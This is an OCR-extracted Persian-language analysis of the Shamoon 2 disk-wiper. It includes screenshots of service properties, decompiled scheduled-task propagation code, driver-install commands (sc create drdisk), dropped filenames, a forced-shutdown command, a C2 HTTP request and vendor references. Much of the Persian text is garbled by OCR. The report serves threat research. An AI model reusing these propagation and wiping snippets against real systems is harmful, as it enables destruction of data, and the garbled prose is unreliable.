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* ES$\Windows
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w' CFF Explorer VII - [394a7 ebad5dfcl 3d6c75945a61063470dc3b68f7a207613b79ef000£1990909b]
File Settings 7

H @ 394a7ebadSdfc1 3d6c75545261063
- [E1-J) Bitmaps
O [E) File: 394a7ebadsdicidec7sos| - Ao LR

a61063470dc3b68 722076 13b 7! ] "PKCST" - [lang:9217]

F 000 199090% "X509" - lang:9217]
— (=] Dos Header
[Z] Mt Headers
[Z] File Header
|Z] Optional Header
(=] Data Directories f]
— (=] Section Headers f]
— |2 Import Directory
— |2) Resource Directory
— | Relocation Directory
— "‘j_-,Md'ess Converter
— %, Dependency Walker
—— 9, Hex Editor
— 9, Identifier
— 8, import Adder
— %, Quick Disassembler
— 9, Rebuilder
— ‘ﬁ, Resource Editor
L— 9% UPX Uhility
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C' | @ Secure | https://msdn.microsoft.com/en-us/library/aa432635(v=office.12).aspx

T e ST
Enumeration

MsoPathFormat Enumeration [y This documentation is archived and is not being maintained.
MsoPatternType Enumeration msolanguagelDArabicOman 8193 The Arabic Oman language.
MsoPermission Enumeration msolanguagel DArabicQatar 16385 The Arabic Qatar language.

. msolanguagelDArabicSyria 10241 The Arabic Syria language.
MsoPictureColorType
Enumeration msolanguagelDArabicTunisia 7169 The Arabic Tunisia language.
MsoPresetCamera Enumeration R

msolanguagelDArabicUAE 14337 The Arabic UAE language.

MsoPresetExtrusionDirection msolanguagelDArabicYemen The Arabic Yemen language.

Enumeration

Gl (€ Ol dwlids ANV 10 S
S0 03l BAD i (59) 32 392 (Sh2T Sh 225 P9y 9351 52 jdIN
139450 Szl yyj Wlhasio b g NESSIV ob b gy Cumdxs (yig) 5o

= Name: Microsoft Network Realtime Inspection Service
= Description: Helps guard against time change attempts targeting known and newly discovered

vulnerabilities in network time protocols

A0 Gilas ) NtertSrv Qugyw whasiwe & JSib .l 83,5 ;085 NtertSrv 4 pb ¢l egw dus )

NtertSrv Properties @

| Triggers | Other | Comment
General Security I Recovery I Dependencies I Dependents

The Extensible Remote Tab manager service determines the index of cument -
Tab in the general Tab system, Also provides application programming interfaces
(APls)that are used by some other applications. if you disable this service, this
computer is prevented from “system32\csrss exe

-

Type: ’0wn Process v] Start Type: [Puto Start v]

Ermor Control: [Ignare v] Group:

tiay Pt N -- ocoisc

User Account:  LocalSystem

Password: sassRRE [l

Service DLL:  N/A
[7] Delayed start

Shamoon Wiper pgw asuws ;5 NtertSrv Gumigyw clasuie 5 JSib

Jole @iswaw g9y 2 NetScheduleJobAdd gU netapi32 Glsulis Giyb jl qoumgpw S skl gl (bgy (yaegd o
NetRemoteTOD g jl 13818, 39450 Wiy yi o Jold g2l (gl) “om‘s.&ia,iloj oleyd Sy g 0adb (Slg>lyd Windows
S50 03liiuwl (yloyd (gly2l (yloj (aasi (sl o jI 83wl g 6w (yloj 9 )l (3 bwliad (gly a5

Scheduled Task"
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NetRemoteTOD (UncServerName, &BufferPtr)
NetApiBufferAllocate (0x10u, &AT INFO)
AT INFO->Command = s_pathToPayload;
AT_INFO—>JobTime = 1000

* (BufferPtr->tod_secs

+ 60 * (BufferPtr->tod mins + 60 * BufferPtr->tod hours - BufferPtr-
>tod_timezone)

+ 90);
AT INFO->Flags = JOB_NONINTERACTIVE;
AT INFO->DaysOfMonth = 0;
AT INFO->DaysOfWeek = 0;
NetScheduleJobAdd (UncServerName, AT INFO, &v1e6)

NetRemoteTOD &b a3 bgiyo (yaolyd 1Y JSib
hal oloj 9 &)U 5@ 35Leyd j9pw b bLS)I (5)h8y2 b 45 634 (pumgideliyy (5954 H81% (35 )5 834 §2)55 loj 9 &)U 2 o9Me
1S 0,053 5 yano g Jald )0 9 83,5 wadlyys 1) (s
= \inf\usbvideo324.pnf

* BYTE year;

* BYTE month;
= BYTE day;

= BYTE hour;

= BYTE year;

=  BYTE minute;
Cawl 63,5 5185 0lo H3T A cduiads duw 1ol ABBS 1:Fo sl a3 pow dduund 5> 03 (y1as5 (i 51 Hloj 9 &)U a5 ol HS3 (Ll

.39 50 6)a>3 System32 digy > exe Jigwy b g 55 (sopb 51 (K b g 63 jL Wiper £j= dolsl )

= caclsrv = jissrv = sfmsc

= certutl =  msinit *=  smbinit

= clean = ntfrsutil = wecscript

= ctrl = ntdsutl = ntnw

= dfrag =  power * netx

= dnslookup * rdsadmin = fsutl

= dvdquery " regsys * ntertmgr32.exe
= event = sigver = ntertmgr64.exe
= findfile =  routeman = extract

"= gpget = rrasrv

= ipsecure = sacses

Driver "
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L g olgic 4 15 aol)d b g 6,053 C:\Windows\System32\Drivers ,uus 5> drdisk.sys b b jlaslel, <G aolsl )3
.39 50 wuas drdisk eb

sc create drdisk type= kernel start= demand binpath=
System32\Drivers\drdisk.sys 2>&l1 >nul
sc start drdisk 2>&l1 >nul

drdisk Guagyw sl aelyd (A JSib

2 UiS30) (3 JSib) cawl 63,5 195 vdsk911 ¢ vdsk9T11.8YS s aiys 4 034 dislw Quagyw g jlaslely 16 pb pgw dSuws )3
39450 plzl (b VY XOR 35 S5 b 56 of

vdsk911 Properties S

Triggers I Cther I Comment

General Security l Recovery [ Dependencies Dependents
vdsk311 “
Type: [Dn'ver v] Start Type: | Demand Start "]
Emor Control: [ Normal - ] Group:

Binary Path:  System32\Drivers'\wdsk911 sys
User Account:

Password: sssssnee [l
Service DLL:  N/A

Delayed start

Shamoon Wiper pguw asuws ;5 vdsk9T1 Gugps lasuie 14 JSib

629113 41 b pdaw uwyiwd Kl a5 ol EIAOS (gl doliy 3)lastinel (gl yindn j1 (5o RawDisk 4y pgwge jlaslsl) ¢yl
S0 @l)d 1) Cadun Sand

.93 83 8dlaiawl 35 Shamoon (wgyg dlas (i pd jlaslely ¢yl 5l
1392 W0lgS j yiohly dw 5l G Ho b Siund polu> glogindy (ungig) 42 38 31N dlo o el )

— Cawl 834 0315 (Ll ¥ S )3 oS jgbslad — JPEG g9 jl (g9:a5 9 03ub Slg>ld AJKEOA b b youio :F =
A0 Gilai | jrgual ¢yl 43 034 6Ll A5 Vo JSib L Sgud 50 U.))fub

-3940 (5)13550) RC4 (iisy9SJl Jaawgs g (595U jlado b (g3alS U lgizxo axdl> ¢l j3:E =

239450 32359l (93bas (gylado b lgize cdls (2l ;3 :R =
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3 Hard Disk1 |

Offset(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF
000000000 FF D8 FF EO 00 10 4A 46 49 46|00 01 02 01 00 00 §®yé..JFIF ......
00

(9]
m
0

t

000000010 00 00 00 FF E1 00 E6 45 78 69 66 00 00 4D 4D ....va.2Exif..MM
000000020 00 2A 00 00 00 08 00 05 01 12 00 03 00 00 00 01 .*.....ceenvnnns
000000030 00 01 00 00 01 31 00 02 00 00 00 1C 00 00 00 4A .....l...ccocuun J
000000040 01 32 00 02 00 00 00 14 00 00 00 66 02 13 00 03 .2......... f....
000000050 00 00 00 01 00 01 00 00 87 €9 00 04 00 00 00 01 ........ 5 R
000000060 00 00 00 7A 00 00 00 00 41 43 44 20 53 79 73 74 ...z....ACD Syst
000000070 65 6D 73 20 44 €9 67 69 74 61 6C 20 49 6D 61 67 ems Digital Imag
000000080 69 6E 67 00 32 30 31 35 3A 30 39 3A 30 35 20 31 1ing.2015:09:05 1
000000090 33 3A 34 33 3A 35 35 00 00 05 90 00 00 07 00 00 3:43:55.........
000000020 00 04 30 32 31 30 92 90 00 02 00 00 00 04 32 37 ..0210'....... 27

Shamoon Wiper a3 (gldasus 55 sugigy 351y8 5> 6ddb oslasuwl yguas 43 0aiS o)Ll 35 o JSub

ol j a3kl HIS ¢l JIs Vlaisl (1 JSib) dgdis0 0315 i YoI? CuwgST 4y miunun gyl qmigigy 3l)d a5
.l Pol? Jlw cauwgST Vo U3 (4T Liicl a5 cuwl RawDisk

Administrator: Command Prompt

C:srdate /T
Tue B1-83-2017%7

E ssroalawBBa.exe 1

C:srdate T
Fri B8-18-2012

gig) Gllac (52> > @i )l s N JSib
awl 824 el binnatova@bsunanotechnology.com Jueal b guibu ¢yl aSiol gudgs
3940 63kl 5 (LS 51 62 839 8liwd Cadeuw Sunnyd (Gt b Carwygd (52 olidh (gl ptizead

=  HKLM\SYSTEM\CurrentControlSet\Control\FirmwareBootDevice
=  HKLM\SYSTEM\CurrentControlSet\Control\SystemBootDevice

S0 (2939) 5 1) 325 (S yamn0 53 39290 (DAY o a6 WIPET <52 ddpyaing)ly » ogVe

= C:\Documents and Settings

= C:\Users

= C:\Windows\System32\Drivers

*  C:\Windows\System32\Config\systemprofile

(I JS) 3940 2! Shutdown gleyd ungig) bl jl ow

shutdown -r -f -t 2

Shamoon Wiper w3 s o3lasiw! Shutdown ¢yleyd Y i
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23940 T332 (gjl0lely Al Y 1 gy oK g 03 U5 1P IS 53 634 6315 (inled (s il (553 ) ¢l b

System Shutdown \X|

This system is shutting down. Please save all
work, in progress and log off. Any unzaved
changes will be lost. This shutdown was

initiated by |G 2. drinistrator
Time before shutdown : 00:00:02 ! You are about to be logged off @
Meszage

Windows will shut down in less than a
minute.

Shutdown ¢loyd (glyzl 51 Gug Saz0 (g5ladlel) play OV JSio

.94y 50 azlge Ui b (g5lalely 3aT)8 (glaml (ylad 5o 6LKiwd (5T dzui >

etwork boot from AMD AM79C978A
Copyright (C) 2883-2814 UMware, Inc.
Copyright (C) 1997-2888 Intel Corporation

CLIENT MAC ADDR: BA@ BC 29 A1 484 A7 GUID: 564D124C-7714-6487-2B3C-DAD3148148A7
PXE-E53: No boot filename received

PXE-MBAF: Exiting Intel PXE ROM.

Dperating System not found

Sy (st (gl yido oAb ungig) dzu )d alliwd b (gjlaslel) ylej )5 Uas I (claigas NF JSis

23le)S 9,0 b bl

9 &)U B e jl 33,36 ylazlge . blie plales BILoyS jopm b bLS)I )8y T adaby a5 cawl Fj= Ghls ylisla
£52 ol Oizad L JIS pel 1813, 4 Boot Sector g Master Boot Record (gloyyindy w939, (sly2! s ) (g2 ¢loj

S Gl (5L 9y 3 |y ugig) Slilas plnil (gl GIVS a2 a5 Cawl abige ljéla 51
PS50 0353 52) paune 9 2 )3 03l ke g0 ) Igizme (T (2USjey 9 PKCST 552 43,5 5 5l pug jli81as yobiio o2l sl

*  %WINDOWS%\system32\netinit.exe

Restart "
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1.1.1.1:8080 ylidlay (43l 093 auws 5 39450 pleul HTTP lodgy i sitiae wuuwlgsys @ayb 1 (5235l0ys jg5um b wibls)l
I (al pgan A 53 S 05 )il (lazlge ol ype (ilblac yoyw 4 Lasuie S 390 (320 (B lojd H9u lgicas
GET http://server/category/page.php?shinu=jalp9//Iozx0Qv8wadq6HLFsVhenQXk49YnElbzV
+0ghrHYIRFE31FQskZya+jIPvI3K10EpZ/v/xvS26ZZHo0oF HTTP/1.1
User-Agent: Mozilla/5.0 (MSIE 7.1; Windows NT 6.0)

Host: server
Pragma: no-cache

2 3loyd jg w0 a3 a3b 83901 owd HTTP Cuunlgs)s LI 110 JSi

B (Jole @immw auus 0 639)T olKiws IP (3L b5 (Sledbl (ol shinu yishl b B ¢l 53 63 Jwyl (glwosls
.l %WINDOWS%\infA\netimm173.pnf J1 lgizo g 3ul5 dxéuo

1423 Gl 039)T 6l 43 505 yiohl 93 b 3ilgiis0 jub (;B3LeyS yopu0

2!  bgo Hl3818; 39450 6)u53 YTEMP%\Temp\filer jumo 55 g odis Juuyl 6Biws a3 (plyal b SG:E =
awl 8w Sy P ol

P N2 ol s Enb sde  pdel oy 4 L uugy  Olbles plal EZG T s
g 50 05>3 BWINDOWS %\inf\usbvideo324.pnf

Al i (6)lS pladl (gl Slas ol GBS Jale pac jI (glilis Slgiize (B3Le)d j9ymw 3929 pac

VDI (gl yiams 53 (5,50 wabld

Fay U0k 5ej19)35 9 (8 Rl @ o 39 je2xe JHBIN ] W32 dhus yogiad )3 azgi BB WIS I S
Gk i ) ()8l (yaiz Wi Ailgs.e VDI (o, 5ol .l FusionCloud 4; pgwge Huawei Sy VDI (gjlwgjlxo
Linux Jole @iuaw » (siise FusionCloud ;5 (i aSST (ogasy .aiS HileS Snapshot (35135, b (olbcabls

dileass wbla> Shamoon Wiper alos jl Windows Jole @i casd (glaylidlag plys 55 galpli g 639

w900 55 .2k Shamoon Wiper jlj8la (Bai1s)S (g, 50h3 disls iy j (glailin Blgiso (sziwedlol wleMbl ¢yl 3929
Siwsj e yian Wlaalis 53 i Jlogl dlos jl Salizo o Wloladl 3y didlgs ;OB (ylaslgo iwedlol Wlelbl 3929
P b ghade glp g)laie Blgie Lol cawl s Gl jein J8laz (5)0hS> Eg5 ol pladl &S Nz ,0 3o plail |y

Al opol 0B )3 (Glyiun 2SI S6519)3S yusS Yoga
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http://newsroom.shabakeh.net/18067/sham
oon-wiper-v2.html
https://securingtomorrow.mcafee.com/mcaf
ee-labs/shamoon-rebooted
https://securingtomorrow.mcafee.com/mcaf
ee-labs/shamoon-rebooted-middle-east-part-
2
https://securelist.com/blog/incidents/57784/
shamoon-the-wiper-further-details-part-ii/
http://researchcenter.paloaltonetworks.com/
2016/11/unit42-shamoon-2-return-disttrack-
wiper/
http://researchcenter.paloaltonetworks.com/
2017/07/unit42-second-wave-shamoon-2-
attacks-identified/

&li.o

http://www.reuters.com/article/us-cyber-
saudi-shamoon-idUSKBN13Q38B
https://www.fireeye.com/blog/threat-
research/2016/11/fireeye_respondsto.html
http://www.trendmicro.com/vinfo/us/threat-
encyclopedia/malware/wormé64_disttrack.a
https://blog.fortinet.com/2016/12/07/resear
ch-furtive-malware-rises-again
https://www.symantec.com/connect/blogs/s
hamoon-back-dead-and-destructive-ever
http://www.itworld.com/article/3156178/sec
urity/disk-wiping-malware-shamoon-targets-
virtual-desktop-infrastructure.html
https://www.codeandsec.com/Sophisticated
-CyberWeapon-Shamoon-2-Malware-Analysis
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